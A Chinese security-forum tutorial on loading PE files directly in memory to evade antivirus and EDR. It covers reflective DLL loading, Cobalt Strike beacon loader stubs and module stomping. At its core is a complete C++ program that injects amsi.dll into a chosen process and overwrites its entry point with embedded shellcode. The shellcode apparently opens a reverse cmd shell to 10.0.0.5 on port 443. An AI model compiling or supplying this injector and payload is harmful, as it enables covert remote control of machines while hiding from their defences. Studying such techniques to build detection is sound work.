安全矩阵

 找回密码
 立即注册
搜索
查看: 1032|回复: 0

关于PE文件的内存加载分享

[复制链接]

36

主题

36

帖子

120

积分

注册会员

Rank: 2

积分
120
发表于 2024-5-21 00:13:05 | 显示全部楼层 |阅读模式
当我们想要加载执行一个程序或者shellcode时,通常的做法就是双击exe执行,然而在攻防场景中这并不容易做到,考虑到有杀软或EDR设备的环境下,命令行执行很大概率也会报毒,这是因为进程的调用链是cmd→灰进程,对于av来说这种调用很可疑,为了规避这种敏感调用,一种方法是断链, 关于断链的内容这里不多赘述,读者可自行查找学习,另一种方法就是内存加载,把DLL或者exe等PE格式的文件从内存中直接加载到内存中去执行,不需要通过LoadLibrary等API函数去操作,这样做的好处是
1. 文件不存在于磁盘上,省去静态免杀的操作

2. 避免文件加载触发的内核回调

3. 加载的程序不会在peb和进程中呈现

内存加载的方法主要有两种,第一种方法是针对PE格式的文件,编写一个PELoader模拟LoadLibrary函数的操作将pe文件加载到内存并执行;另一种是针对.NET程序集,可以利用C#的反射特性,使用Assembly.Load加载程序集。接下来将详细聊聊两种方法的细节和优劣。

PELoader

如前所述,自己编写的PELoader目的就是模拟LoadLibrary函数的行为把PE文件加载到内存空间并跳转到PE文件的oep去执行。



由于文件对齐与内存对齐大小不一定一致,因此我们将PE文件各个部分复制到内存时可能会需要更大的地址空间,而这个值我们可以在可选PE头的SizeOfImage字段获得,这个字段揭示的就是内存中PE文件映射的尺寸,这个值是SectionAlignment(内存对齐大小)的整数倍。另外PE文件在内存中实际加载地址与偏好加载地址不一定相同,而在 PE 文件中,有一些全局变量的地址是硬编码的(这些数据的地址由重定向表追踪),那么自然也会随着实际加载地址的变化而变化。因此在映射后我们需要修复重定向表,使程序能正确执行。最后我们还需要修复 IAT 表,这是因为没有系统帮忙导入程序运行需要的dll,我们就需要自己导入dll和函数。因为Cobalt Strike的beacon是一个dll形式的文件,因此本文都以ReflectiveDllLoader为例,ReflectiveDllLoader的完整流程如下,具体的代码实现参考ReflectiveDLLInjection。



1. 通过 `CreateRemoteThread` 等API直接执行导出函数 `ReflectiveLoader`,或者修补DOS 头使其成为 可执行的Shellcode,然后跳转到 `ReflectiveLoader` 执行。

2. 计算出 DLL 的基址,通过不断前移匹配到 **MZ** 标记 **。**

3. 通过PEB获取一些必要的 API 例如 **`LoadLibrary`** , **`GetProcAddress`,`VirtualAlloc`**的地址。

4. 映射pe文件到内存

   1. 根据`SizeOfImage`,申请内存。
      2. 将 DLL 的各个头以及节复制到分配的内存空间,并设置对应的内存权限。
5. 修复重定位表,计算PE文件偏好基址和加载后的基址相差的offest,将要修复的地址加上这个offest。

6. 修复IAT表,遍历所有导入的 DLL,对于每个 DLL,遍历每个导入函数。根据函数的导入方式(函数序号或名称),补丁导入函数的地址。

7. 跳转入口执行

对于以上所述的这种加载方式,从调用堆栈上追踪,其实会发现有些“不寻常”的地方。此处以donut默认生成的文件示例:





如图所示,多个函数都没有对应的符号,这是因为dll并非加载自磁盘。



同时我们可以看到该内存区域还是私有的RWX属性,这对于杀软来说是很可疑的。

对于RWX属性内存,我们可以分配RX+RW权限来替代直接分配RWX权限的内存,这样能很好的规避对敏感内存区域的检测。而对于RX权限的内存,我们知道系统中此类内存大部分都是图像映像的,它们对应于加载到进程中的 DLL 的 .text 部分。因此AV/EDR通常会检测拥有可执行属性的内存是否从磁盘上的映像加载,对此,有效的办法是Module Stomping (or Module Overloading or Process Hollowing) ,该方法原理大致如下:

1. 将合法的Windows DLL 注入到目标进程

2. 将 shellcode 覆盖在步骤 1 中加载的 DLL 的入口点

3. 启动一个新线程执行shellcode


这样做的好处是,当杀软检测该可执行内存对应的映像文件时,会检查到的是合法的dll文件,是这种检测方式失效。Donut的-j 参数已经内置了Module Overloading的方法。

下面是将amsi.dll注入进程并镂空加载我们shellcode的简单实现:

  1. #include "pch.h" #include#include <Windows.h> #include <psapi.h>

  2. int main(int argc, char *argv[])
  3. {
  4.     HANDLE processHandle;
  5.     PVOID remoteBuffer;
  6.     wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
  7.     HMODULE modules[256] = {};
  8.     SIZE_T modulesSize = sizeof(modules);
  9.     DWORD modulesSizeNeeded = 0;
  10.     DWORD moduleNameSize = 0;
  11.     SIZE_T modulesCount = 0;
  12.     CHAR remoteModuleName[128] = {};
  13.     HMODULE remoteModule = NULL;

  14.     unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

  15.     // inject a benign DLL into remote process
  16.     processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
  17.     //processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);

  18.     remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
  19.     WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
  20.     PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
  21.     HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
  22.     WaitForSingleObject(dllThread, 1000);

  23.     // find base address of the injected benign DLL in remote process
  24.     EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
  25.     modulesCount = modulesSizeNeeded / sizeof(HMODULE);
  26.     for (size_t i = 0; i < modulesCount; i++)
  27.     {
  28.         remoteModule = modules[i];
  29.         GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
  30.         if (std::string(remoteModuleName).compare("amsi.dll") == 0)
  31.         {
  32.             std::cout << remoteModuleName << " at " << modules[i];
  33.             break;
  34.         }
  35.     }

  36.     // get DLL's AddressOfEntryPoint
  37.     DWORD headerBufferSize = 0x1000;
  38.     LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
  39.     ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);

  40.     PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
  41.     PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
  42.     LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
  43.     std::cout << ", entryPoint at " << dllEntryPoint;

  44.     // write shellcode to DLL's AddressofEntryPoint
  45.     WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

  46.     // execute shellcode from inside the benign DLL
  47.     CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

  48.     return 0;
  49. }
复制代码


内置式Loader
目前的loader主要分为两种,一种是像Cobalt Strike 一样,通过修补Dos头,使得dos头在执行时可以直接调用ReflectiveLoader函数,以此完成dll的加载,这种暂时称为内置式Loader,下面是默认生成的Beacon.dll和beacon.bin的Dos头对比:




可以看出,相比于Beacon.dll,Beacon.bin的DOS头多了一部分,下面这部分汇编代码是beacon.bin中Dos头的前面几行经过chatgpt解释后生成:

4D 5A -> "MZ" ; DOS header 41 52 55 48 89 E5 48 -> "ARUH" ; Beginning of PE header 81 EC 20 00 00 00 -> sub rsp, 0x20 ; Allocate space for the stack 48 8D 1D EA FF FF FF -> lea rbx, [rip - 0x16] ; Load effective address of some memory location 48 89 DF -> mov rdi, rbx ; Move rbx into rdi 48 81 C3 44 64 01 00 -> add rbx, 0x16444 ; Add 0x16444 to rbx FF D3 -> call rbx ; Call the address in rbx 41 B8 F0 B5 A2 56 -> mov r8d, 0x56A2B5F0 ; Move 0x56A2B5F0 into r8d 68 04 00 00 00 -> push 0x4 ; Push 0x4 onto the stack 5A -> pop rdx ; Pop the top of the stack into rdx 48 89 F9 -> mov rcx, rdi ; Move rdi into rcx FF D0 -> call rax ; Call the address in rax

大致意思是前移0x16字节从而获得Shellcode地址,然后传参,再通过硬编码的偏移计算出ReflectiveLoader的位置并调用,再往后则是在调用dllmain函数。

前置式Loader
与内置式的Loader不同在于没有将ReflectiveLoader函数放到DLL中,而是放在DLL的前面,这样做的好处是,能够在不知道源码的情况下反射加载任意的PE文件,同时不需要额外的导出函数,这样也有利于规避掉一些基于此的检测。下面是两种Loader的对比图:



更多关于前置式Loader的内容可以阅读这篇文章<https://blog.f-secure.com/doublepulsar-usermode- analysis-generic-reflective-dll-loader/

Reference:

https://github.com/stephenfewer/ReflectiveDLLInjection

https://github.com/TheWover/donut

https://raven-medicine.com/books/ec8ce/page/f457c#bkmrk-膨胀式加载

https://www.forrest-orr.net/post ... art-i-dll-hollowing















本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 21:08 , Processed in 0.013590 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表